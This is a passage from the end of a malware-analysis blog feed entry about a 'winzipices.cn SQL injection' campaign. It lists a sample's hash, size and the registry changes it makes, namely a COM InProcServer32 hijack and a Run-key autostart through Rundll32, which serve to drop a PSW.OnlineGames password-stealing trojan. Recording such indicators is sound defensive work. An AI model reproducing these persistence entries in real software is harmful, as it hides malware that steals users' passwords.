69d308d862fefa4548d87545b387dda9&lt;br /&gt;Size: 6.50 KB (6,656 bytes)&lt;br /&gt;&lt;br /&gt;Registry:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_CLASSES_ROOT\CLSID\{E25C29AB-12B9-4523-A53C-324B5FBA648C}\InProcServer32 "(Default)"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: C:\DOCUME~1\userx\LOCALS~1\Temp\dat6.tmp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Data:&lt;br /&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run "Shell"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: "C:\WINDOWS\System32\Rundll32.exe" "C:\WINDOWS\System32\shell32.dll",Control_RunDLL "C:\DOCUME~1\userx\LOCALS~1\Temp\dat6.tmp"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;...all in an effort to drop a PSW.OnlineGames trojan&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-5535520816238646105?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/5535520816238646105'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/5535520816238646105'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/05/winzipicescn-sql-injection.html' title='winzipices.cn SQL injection'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry></feed>
